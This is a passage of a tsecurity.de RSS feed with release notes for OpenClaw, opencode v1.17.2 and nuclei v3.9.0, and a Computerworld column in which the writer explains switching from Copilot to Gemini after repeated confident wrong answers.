data-url="https://github.com/openclaw/openclaw/issues/91529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91529/hovercard" href="https://github.com/openclaw/openclaw/pull/91529">#91529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586645610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90212/hovercard" href="https://github.com/openclaw/openclaw/pull/90212">#90212</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>.</li>
<li>Channel delivery: keep WhatsApp captured replies attached to the successor controller after restart, retry Feishu rate limits, preserve Mattermost thread replies, canonicalize LINE webhook paths, restore Discord reply hydration and runtime timeout exports, and show OpenAI Realtime WebRTC assistant transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509509203" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85823/hovercard" href="https://github.com/openclaw/openclaw/pull/85823">#85823</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576335864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89659" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89659/hovercard" href="https://github.com/openclaw/openclaw/pull/89659">#89659</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621341761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91684" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91684/hovercard" href="https://github.com/openclaw/openclaw/pull/91684">#91684</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619644144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91649/hovercard" href="https://github.com/openclaw/openclaw/pull/91649">#91649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587303092" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90263/hovercard" href="https://github.com/openclaw/openclaw/pull/90263">#90263</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621560168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91686" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91686/hovercard" href="https://github.com/openclaw/openclaw/pull/91686">#91686</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590741806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90426/hovercard" href="https://github.com/openclaw/openclaw/pull/90426">#90426</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ladygege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ladygege">@ladygege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jacobtomlinson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jacobtomlinson">@jacobtomlinson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shushushv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shushushv">@shushushv</a>.</li>
<li>Cron: cancel active task runs cleanly, preserve terminal timeout/cancel state, and recover no-deliver tool warnings instead of silently losing the outcome. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596967124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90666" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90666/hovercard" href="https://github.com/openclaw/openclaw/pull/90666">#90666</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597362149" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90678/hovercard" href="https://github.com/openclaw/openclaw/pull/90678">#90678</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Gateway/config/auth: share the approval runtime socket token, replace arrays explicitly in <code>config.patch</code>, skip the deleted-agent guard only for valid ACP harness sessions, surface headless LaunchAgent state, verify SQLite auth migration before cleanup, and arm QMD startup maintenance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528737600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87105/hovercard" href="https://github.com/openclaw/openclaw/pull/87105">#87105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618042551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91551" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91551/hovercard" href="https://github.com/openclaw/openclaw/pull/91551">#91551</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608178452" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91219/hovercard" href="https://github.com/openclaw/openclaw/pull/91219">#91219</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618959440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91614/hovercard" href="https://github.com/openclaw/openclaw/pull/91614">#91614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624009488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91740" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91740/hovercard" href="https://github.com/openclaw/openclaw/pull/91740">#91740</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632864961" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91978/hovercard" href="https://github.com/openclaw/openclaw/pull/91978">#91978</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Providers/Codex: clarify quota errors, restore the Codex synthetic usage line, canonicalize Codex protocol assets, require API-key auth for realtime voice, normalize ACP model refs, preserve Gemma 4 <code>reasoning_content</code>, and avoid guardian review for local models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611942539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91390" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91390/hovercard" href="https://github.com/openclaw/openclaw/pull/91390">#91390</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4622400615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91709/hovercard" href="https://github.com/openclaw/openclaw/pull/91709">#91709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616624291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91507" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91507/hovercard" href="https://github.com/openclaw/openclaw/pull/91507">#91507</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618301679" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91567" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91567/hovercard" href="https://github.com/openclaw/openclaw/pull/91567">#91567</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88630" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88630/hovercard" href="https://github.com/openclaw/openclaw/pull/88630">#88630</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621950560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91696/hovercard" href="https://github.com/openclaw/openclaw/pull/91696">#91696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Coder-Wangyankun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Coder-Wangyankun">@Coder-Wangyankun</a>.</li>
<li>Updates/builds: recover package Gateway restarts after refresh failure, expose plugin convergence repair, fall back to Corepack in PATH-less pnpm environments, seed the correct Docker store packages, and keep ClawHub dry-run and publish paths reusable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618433631" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91581" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91581/hovercard" href="https://github.com/openclaw/openclaw/pull/91581">#91581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618691263" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91599" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91599/hovercard" href="https://github.com/openclaw/openclaw/pull/91599">#91599</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618008262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91547" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91547/hovercard" href="https://github.com/openclaw/openclaw/pull/91547">#91547</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618649289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91591/hovercard" href="https://github.com/openclaw/openclaw/pull/91591">#91591</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>UI: require explicit user intent before opening chat sessions and drain restored chat queues after session switches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615202659" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91480/hovercard" href="https://github.com/openclaw/openclaw/pull/91480">#91480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Android: avoid the <code>dataSync</code> foreground-service type for persistent nodes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414554597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80082" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80082/hovercard" href="https://github.com/openclaw/openclaw/pull/80082">#80082</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davelutztx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davelutztx">@davelutztx</a>.</li>
<li>Native hooks: bound relay lifetimes so abandoned native hook connections cannot linger indefinitely. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618041701" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91550" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91550/hovercard" href="https://github.com/openclaw/openclaw/pull/91550">#91550</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.2]]></title>
<description><![CDATA[Core
Bugfixes

Recover from expired remote config auth by prompting you to log in again instead of failing to load config (@Ayushlm10)
Let subagents use their own configured permissions again

Desktop
Bugfixes

Restore Linux launcher and icon identity so pinned apps keep opening correctly (@nerio...]]></description>
<link>https://tsecurity.de/de/3588395/downloads/v1172/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588395/downloads/v1172/</guid>
<pubDate>Wed, 10 Jun 2026 18:47:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Recover from expired remote config auth by prompting you to log in again instead of failing to load config (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ayushlm10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ayushlm10">@Ayushlm10</a>)</li>
<li>Let subagents use their own configured permissions again</li>
</ul>
<h2>Desktop</h2>
<h3>Bugfixes</h3>
<ul>
<li>Restore Linux launcher and icon identity so pinned apps keep opening correctly (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neriousy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neriousy">@neriousy</a>)</li>
<li>Restore the device attachment picker (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rexdotsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rexdotsh">@rexdotsh</a>)</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ayushlm10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ayushlm10">@Ayushlm10</a>:
<ul>
<li>fix: recover from expired enterprise auth on remote config load (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630235355" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31661" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31661/hovercard" href="https://github.com/anomalyco/opencode/pull/31661">#31661</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rexdotsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rexdotsh">@rexdotsh</a>:
<ul>
<li>fix(app): restore device attachment picker (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632379630" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31707" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31707/hovercard" href="https://github.com/anomalyco/opencode/pull/31707">#31707</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neriousy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neriousy">@neriousy</a>:
<ul>
<li>fix(desktop): restore linux launcher identity (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632484588" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31709" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31709/hovercard" href="https://github.com/anomalyco/opencode/pull/31709">#31709</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I’m leaving Copilot for Gemini]]></title>
<description><![CDATA[I’ve been using and writing about Microsoft Copilot since it was publicly released in 2023. I’ve reviewed it, written articles about using it more effectively, explained how to curb hallucinations in it and other similar tools, and detailed how to use it in concert with Microsoft 365. It’s also b...]]></description>
<link>https://tsecurity.de/de/3587466/it-nachrichten/why-im-leaving-copilot-for-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587466/it-nachrichten/why-im-leaving-copilot-for-gemini/</guid>
<pubDate>Wed, 10 Jun 2026 13:34:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve been using and writing about Microsoft Copilot since it was publicly released in 2023. I’ve <a href="https://www.computerworld.com/article/2513395/copilot-for-microsoft-365-review-hands-on-deep-dive.html">reviewed it</a>, written <a href="https://www.computerworld.com/article/1611598/microsoft-copilot-tips-how-to-use-copilot-right.html">articles about using it more effectively</a>, explained how to <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">curb hallucinations in it and other similar tools</a>, and detailed how to use it in concert with Microsoft 365. It’s also been my go-to generative AI (genAI) tool for personal projects and advice.</p>



<p>But the time has come for me to leave it behind for my personal use. It’s become abundantly clear that for those tasks, Google Gemini is better. Here’s why.</p>



<h2 class="wp-block-heading">Copilot is inept at solving a tech problem</h2>



<p>Like many people who know something about technology, I’m the IT staff for friends and family. I’ve often used Copilot to help solve issues I can’t fix myself. Sometimes Copilot helps. And other times…, well, the last time I turned to it for troubleshooting advice is when I realized it was time to abandon Copilot.</p>



<p>My wife had bought a new iPhone, and I noticed she was receiving texts sent to her email address but hadn’t received any sent to her phone number. I asked Copilot for help.</p>



<p>I won’t go into the details of the wild goose chase Copilot sent me on — I’ll just offer a few lowlights. It first told me, with absolute authority, that there are “only two real explanations” for the problem and asked me to look at several settings to confirm which explanation would fix the issue.</p>



<p>It turned out that neither of the “two real explanations” were the cause. Undeterred, Copilot assured me, again with complete confidence, that it was going to send me “straight to the switch” that would immediately solve the problem.</p>



<p>I tried it. The switch didn’t work. Neither did the “final fix” it promised me. Nor did any of the other many “solutions” if offered after that so-called final fix. For more than an hour, it flailed with utter confidence and utter futility trying to diagnose and fix the problem. </p>



<p>And then came the final indignity: After doing some digging, I realized Copilot was trying to solve the problem based on an old version of iOS, not the current one on my wife’s phone. When I confronted Copilot about that, it briefly apologized and promised it knew the solution: I had to call the cellphone carrier.</p>



<p>That was it for me. I’d had enough. I turned to Gemini for help. </p>



<p>Thirty seconds later, Gemini diagnosed the problem and recommended a simple fix, which didn’t require a call to my phone carrier. It worked like a charm. Gemini had solved a tech problem in 30 seconds that Copilot couldn’t resolve after an hour. </p>



<h2 class="wp-block-heading">Copilot whiffs on personal research </h2>



<p>I often used Copilot for personal research projects. A recent one involved Parisian neighborhoods in the 1870s. I was looking for information about the area around the Saint-Lazare train station. When I asked Copilot, it told me the area was dangerous and poverty-ridden back then, with poor housing whose exteriors were heavily stained by coal smoke from arriving and departing trains.</p>



<p>That didn’t sit right with me. I recalled a well-known painting <em>Paris Street; Rainy Day</em> by the Impressionist painter Gustave Caillebotte, which depicted the neighborhood in the 1870s as wealthy and fashionable, filled with elegant Hausmann-style apartment buildings. I asked both Gemini and Claude about the neighborhood in the 1870s. They both told me it was expensive, fashionable and sought after by the well-off. I confirmed that with my own follow-up research.</p>



<p>Once again, Copilot had whiffed.</p>



<h2 class="wp-block-heading">Copilot gives bad scheduling advice</h2>



<p>I swim for exercise three or four times a week at my health club’s indoor pool. The club closed the pool for several months, so I decided to swim at the pool of an elementary school a short walk from my house. I hadn’t exercised there before and wanted to find the times on Monday through Friday when the pool would be least crowded. I asked Copilot for help.</p>



<p>As always, Copilot spoke with a solid air of authority. And once again, it was wrong. It told me that the least crowded time for public swimming on weekdays was between 11:30 a.m. and 12:30 p.m. or between 12:00 p.m. and 1:00 p.m.</p>



<p>On one count it was right: the pool would certainly not be crowded with public swimmers at those times. Because the pool doesn’t open to the public until 3 p.m. </p>



<p>I turned to Gemini, which told me that 3 p.m., when the pool opened, would be the least-crowded time. Claude was no help. It demurred and said it didn’t know the answer – a rare, refreshing admittance of ignorance from a chatbot.</p>



<p>Gemini was on target again — 3 p.m. did indeed turn out to be the least-crowded time to swim. I often get a lane to myself, and at worst have to split a lane with one other swimmer. I asked several lifeguards if 3 p.m. was the least-crowded time on weekdays; they all confirmed it was.</p>



<h2 class="wp-block-heading">Bye-bye, Copilot</h2>



<p>For all those reasons, when it comes to personal research and advice, I’ve abandoned Copilot. I typically use Gemini now, although on occasion, I ask for a second opinion from Claude.</p>



<p>For my <em>Computerworld</em> work, I’ll keep using Copilot, and continue to write reviews of it, offer advice on how to use it and keep you informed about the latest news about it.</p>



<p>But other than that, for my personal use, Copilot is dead to me.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.9.0]]></title>
<description><![CDATA[What's Changed
🎉 New Features

Added support for protocol redirects by @Mzack9999 in #7296
Added impacket integration by @Mzack9999 in #7356
Added wmi, tsch, scmr, and dcom helper modules for JS by @dwisiswant0 in #7388
Added mirroring of -config, -report-config, and -dashboard flags for SDK call...]]></description>
<link>https://tsecurity.de/de/3587300/it-security-tools/v390/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587300/it-security-tools/v390/</guid>
<pubDate>Wed, 10 Jun 2026 12:34:24 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<h3>🎉 New Features</h3>
<ul>
<li>Added support for protocol redirects by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130433144" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7296" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7296/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7296">#7296</a></li>
<li>Added impacket integration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295839541" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7356" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7356/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7356">#7356</a></li>
<li>Added wmi, tsch, scmr, and dcom helper modules for JS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416005251" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7388" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7388/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7388">#7388</a></li>
<li>Added mirroring of -config, -report-config, and -dashboard flags for SDK callers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShubhamRasal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShubhamRasal">@ShubhamRasal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421244220" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7393" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7393/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7393">#7393</a></li>
</ul>
<h3>🐞 Bug Fixes</h3>
<ul>
<li>Fixed DNS variables resolving issue by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379990622" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7379" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7379/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7379">#7379</a></li>
<li>Fixed expressions to prefer exact placeholders over expressions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424530577" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7397" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7397/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7397">#7397</a></li>
<li>Fixed an issue in JS where runtimes that outlive the interrupt grace period are not abandoned, by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379927978" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7378" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7378/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7378">#7378</a></li>
<li>Fixed an issue in reporting/jira where status-not was not matched against the transition target status name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/knakul853/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/knakul853">@knakul853</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324093179" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7361" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7361/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7361">#7361</a></li>
